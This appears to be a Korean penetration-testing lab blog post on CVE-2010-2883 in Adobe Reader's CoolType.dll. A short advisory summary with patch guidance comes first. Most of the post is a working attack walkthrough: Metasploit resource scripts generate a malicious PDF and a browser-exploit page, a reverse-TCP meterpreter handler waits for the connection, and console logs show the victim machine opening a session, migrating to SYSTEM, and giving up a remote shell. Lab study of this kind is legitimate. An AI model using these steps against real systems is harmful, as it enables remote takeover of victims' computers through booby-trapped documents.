실습> Adobe Acrobat Reader(pdf) 취약점을 이용한 침투
취약점 : pdf adobe_cooltype_sing
1. Adobe Reader와 Acrobat의 취약점의 개요
Release date: September 8, 2010
Last updated: October 5, 2010
Vulnerability identifier: APSA10-02
CVE number: CVE-2010-2883
Platform: All
※ Adobe Reader와 Acrobat의 CoolType.dll 모듈의 해결방안은 2010년 10월 5일 발표되었다.
- 개요
o Adobe Reader와 Acrobat의 CoolType.dll 모듈이 잘못된 SING(Smart INdependent Glyphlets)
글꼴이 포함된 PDF문서를 처리하는 과정에서, 오버플로우가 발생하여 원격코드가 실행되는
취약점이 발견됨 [1, 2]
o 공격자는 웹 페이지 은닉, 스팸 메일, 메신저의 링크 등을 통해 특수하게 조작된 PDF 문서를
사용자가 열어보도록 유도하여 악성코드 유포 가능
o Adobe Reader와 Acrobat 최신 버전에서도 해당 취약점이 존재하므로, 신뢰할 수 없는 PDF
파일을 열어보지 않는 등의 사용자 주의가 요구됨
□ 영향 받는 시스템
o 영향 받는 소프트웨어 [1]
- 윈도우, 매킨토시 환경에서 동작하는 Adobe Acrobat 9.3.4 및 이전 버전
- 윈도우, 매킨토시, 유닉스 환경에서 동작하는 Adobe Reader 9.3.4 및 이전 버전
□ 해결 방안
o Adobe Reader/Acrobat 9.3.4와 이전 버전 사용자는 9.4.0 버전으로 업데이트
- Adobe Acrobat/Reader의 메뉴에서 "도움말" → "업데이트 확인"을 선택
- Adobe 제품 업데이트 페이지[3]에서 해당 소프트웨어를 선택 후 다운로드 및 설치
o 향후에도 유사 취약점 노출로 인한 피해예방을 위해 아래와 같이 안전한 인터넷 이용 습관을
준수해야 함
- 신뢰되지 않은 웹사이트의 PDF 파일 다운로드 주의
- 의심되는 이메일에 포함된 PDF 파일 링크 또는 첨부를 클릭하지 않음
- 개인방화벽과 백신제품 사용 등
□ 용어 정리
o PDF(Portable Document Format) : Adobe社가 개발한 다양한 플랫폼을 지원하는
전자문서 파일 형식
o Adobe Acrobat : PDF 문서 편집/제작을 지원하는 상용 프로그램
o Adobe Reader : PDF 문서의 편집 기능은 없이 보기/인쇄만 할 수 있는 무료 프로그램
o CoolType.dll : Adobe社 제품의 글꼴 표현 해상도를 높여주는 역할을 하는 모듈
o SING(Smart INdependent Glyphlets) Font : 2005년 Adobe社에 의해 개발된 디지털 글꼴
□ 기타 문의사항
o 한국인터넷진흥원 인터넷침해대응센터: 국번없이 118
[참고사이트]
[1] http://www.adobe.com/support/security/advisories/apsa10-02.html
[2] http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-2883
[3] http://www.adobe.com/downloads/updates/
2. 공격 시나리오
Victim(피해자)쪽에서 pdf 파일을 열어보는 순간 Attacker(공격자)쪽에 연결되는 방식이다.
이를 통해 다양한 방법으로 시나리오를 만들 수 있다.
가령 기업의 인사담당자 메일로 공격자가 pdf로 위장한 악성코드를 전송한다던지
웹페이지에 pdf 파일을 올려놓고 공격 대상자들에게 미끼를 던져 이를 낚아챌 수도
있는 다양한 공격들을 생각해볼 수 있다.
이 취약점을 이용한 공격유형은 두 가지가 있다.
첫 번째 방법은 공격파일(pdf)을 생성해서 Victim(피해자)이 이 파일을 열어볼 때 장악하는 방법
두 번째 방법은 웹 페이지에 공격코드를 삽입해서 올려놓고 Victim(피해자)이 웹페이지를 보는 순간
자동으로 pdf가 실행되서 장악하는 방법들을 생각해볼 수 있다.
참고로 공격 pdf 파일을 악성 웹페이지에 올려놓고 Victim(피해자)이 이를 열어볼 때 Victim(피해자)에
pdf를 설치하지 않았다면 브라우저에서 코드가 보이면서 공격은 더 이상 진행이 안된다는 걸 확인했다.
Attacker (공격자) Kali : 192.168.108.102
Victim (피해자) Windows XP : 192.168.108.105
공격 시나리오 1 : : 공격파일(pdf)을 생성해서 윈도우 장악하기
공격자는 버퍼오버플로우를 발생시키는 공격코드를 pdf 파일로 만든 후
웹페이지에 게시한 후 victim(피해자)에서 pdf 파일로 접근시 victim의 PC를 장악한다.
1. 아파치 웹서버 실행
Attacker# /etc/init.d/apache2 start
Attacker# vi adobe_cooltype_sing.rc
use exploit/windows/fileformat/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.102
exploit
use multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.108.102
run
Attacker# msfconsole -r adobe_cooltype_sing.rc
:
:(생략)
[*] Creating 'msf.pdf' file...
[+] msf.pdf stored at /root/.msf4/local/msf.pdf
resource (adobe_cooltype_sing.rc)> use multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (adobe_cooltype_sing.rc)> set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
resource (adobe_cooltype_sing.rc)> set LHOST 192.168.108.102
LHOST => 192.168.108.102
resource (adobe_cooltype_sing.rc)> run
[*] Started reverse TCP handler on 192.168.108.102:4444
다른 터미널을 열어서 msf.pdf 를 웹디렉터리에 복사한다.
Attacker# cp .msf4/local/msf.pdf /var/www/html
2. pdf 열어보기
Victim에서 pdf 를 열어볼 때 공격자에게 리버스 컨넥션으로 연결된다.
http://192.168.108.102/msf.pdf
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Meterpreter session 1 opened (192.168.108.102:4444 -> 192.168.108.105:1124) at 2021-08-09 21:29:45 -0400
meterpreter >
meterpreter > sysinfo
Computer : USER1-28E4C7675
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : ko_KR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > shell
Process 852 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\Administrator\바탕 화면>exit
공격 시나리오 2 : 웹 페이지에 공격코드를 삽입해서 윈도우 장악하기
공격자는 msf로 대기하고 있고
Victim이 웹페이지에 접근할 때 취약한 pdf 프로그램이 자동으로 실행되면서 meterpreter 와 연결된다.
Attacker# vi adobe_cooltype_sing2.rc
use exploit/windows/browser/adobe_cooltype_sing
set PAYLOAD windows/meterpreter/reverse_tcp
set URIPATH pdf.html
set LHOST 192.168.108.102
set SRVPORT 80
run
Attacker# /etc/init.d/apache2 stop
Attacker# msfconsole -r adobe_cooltype_sing2.rc
:
:(생략)
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.108.102:4444
[*] Using URL: http://0.0.0.0:80/pdf.html
[*] Local IP: http://192.168.108.102:80/pdf.html
[*] Server started.
피해자가 공격자의 웹서버로 접속하면 리버스 커넥션이 연결된다.
http://192.168.108.102/pdf.html
[*] 192.168.108.105 adobe_cooltype_sing - Request from browser: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 192.168.108.105 adobe_cooltype_sing - Sending crafted PDF
[*] 192.168.108.105 adobe_cooltype_sing - Request from browser: Mozilla/4.0 (co mpatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 192.168.108.105 adobe_cooltype_sing - Sending crafted PDF
[*] Sending stage (175174 bytes) to 192.168.108.105
[*] Session ID 1 (192.168.108.102:4444 -> 192.168.108.105:1128) processing Initi alAutoRunScript 'post/windows/manage/priv_migrate'
[*] Current session process is iexplore.exe (588) as: USER1-28E4C7675\Administra tor
[*] Session is Admin but not System.
[*] Will attempt to migrate to specified System level process.
[*] Trying services.exe (664)
[+] Successfully migrated to services.exe (664) as: NT AUTHORITY\SYSTEM
[*] Meterpreter session 1 opened (192.168.108.102:4444 -> 192.168.108.105:1128) at 2021-08-09 22:11:08 -0400
msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter x86/wind USER1-28E4C7675\Admin 192.168.108.102:4444
ows istrator @ USER1-28E4 -> 192.168.108.105:11
C7675 28 (192.168.108.105)
msf6 exploit(windows/browser/adobe_cooltype_sing) > sessions 1
[*] Starting interaction with 1...
meterpreter > sysinfo
Computer : USER1-28E4C7675
OS : Windows XP (5.1 Build 2600, Service Pack 3).
Architecture : x86
System Language : ko_KR
Domain : WORKGROUP
Logged On Users : 2
Meterpreter : x86/windows
meterpreter > shell
Process 372 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
C:\WINDOWS\system32>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter ▒▒▒▒ ▒▒▒▒ ▒▒▒▒:
Connection-specific DNS Suffix . :
IP Address. . . . . . . . . . . . : 192.168.108.105
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.108.2
C:\WINDOWS\system32>exit
'Linux > 모의해킹' 카테고리의 다른 글
| str_replace() 함수 사용하기 (0) | 2022.01.25 |
|---|---|
| XSS 를 이용한 Victim 장악하기 (0) | 2022.01.25 |
| XSS 취약점 찾기 (0) | 2022.01.25 |
| reflected XSS (0) | 2022.01.21 |
| stored XSS (0) | 2022.01.21 |